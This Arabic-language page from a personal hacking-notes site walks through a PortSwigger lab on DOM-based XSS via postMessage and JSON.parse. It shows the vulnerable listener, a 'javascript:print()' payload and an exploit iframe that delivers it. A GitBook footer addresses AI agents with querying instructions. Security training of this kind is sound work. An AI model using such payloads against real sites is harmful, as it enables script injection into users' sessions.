> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# XSS DOM عبر رسائل الويب وjson.parse

### هجوم XSS في DOM باستخدام رسائل الويب و JSON.parse

يعيد هذا المستند صياغة ويترجم إلى الفرنسية الملاحظات المقدمة في المختبر (PortSwigger): فهو يصف الشيفرة الضعيفة، وكيف يفسر الرسائل، والحِمل المستخدم للاستدعاء `print()` عبر `إطار iframe`.

وصف البرنامج النصي الضعيف

يقوم البرنامج النصي بإنشاء `إطار iframe` وسمًا والتحكم عن بُعد عبر الرسائل المستلمة بواسطة ال `postMessage` الحدث. يمكنه تحميل عنوان URL، وضبط حجم المشغّل وتمريره إلى داخل الصفحة.

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="/files/e707ff3678f8583a8999cfc4e799682ba87aa86f" alt=""><figcaption></figcaption></figure>

### `postMessage` مثال على الرسالة

يتيح إرسال رسالة JSON على شكل سلسلة نصية للبرنامج النصي تفسير الإجراء المطلوب.

حمّل عنوان URL عادي:

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="/files/8aa8f3869a942c2993d7a2f623ef009371f77a03" alt=""><figcaption></figcaption></figure>

استخدم `JavaScript:` مخططًا لتشغيل الشيفرة (هنا استدعِ `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="/files/91f66eb974aebcc213b0e713a7443d9c3deab6ce" alt=""><figcaption></figcaption></figure>

على الخادم العامل، يمكنك وضع صفحة HTML تحتوي على `إطار iframe` تشير إلى الصفحة الضعيفة وتُرسل رسالة الـ `load-string` مع `URL: "JavaScript:print()"` عند تحميل إطار iframe.

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:"load-channel",url:"javascript:print()"}),"*"); "
</iframe>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/dom/xss-dom-with-web-messages-and-json-parse.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
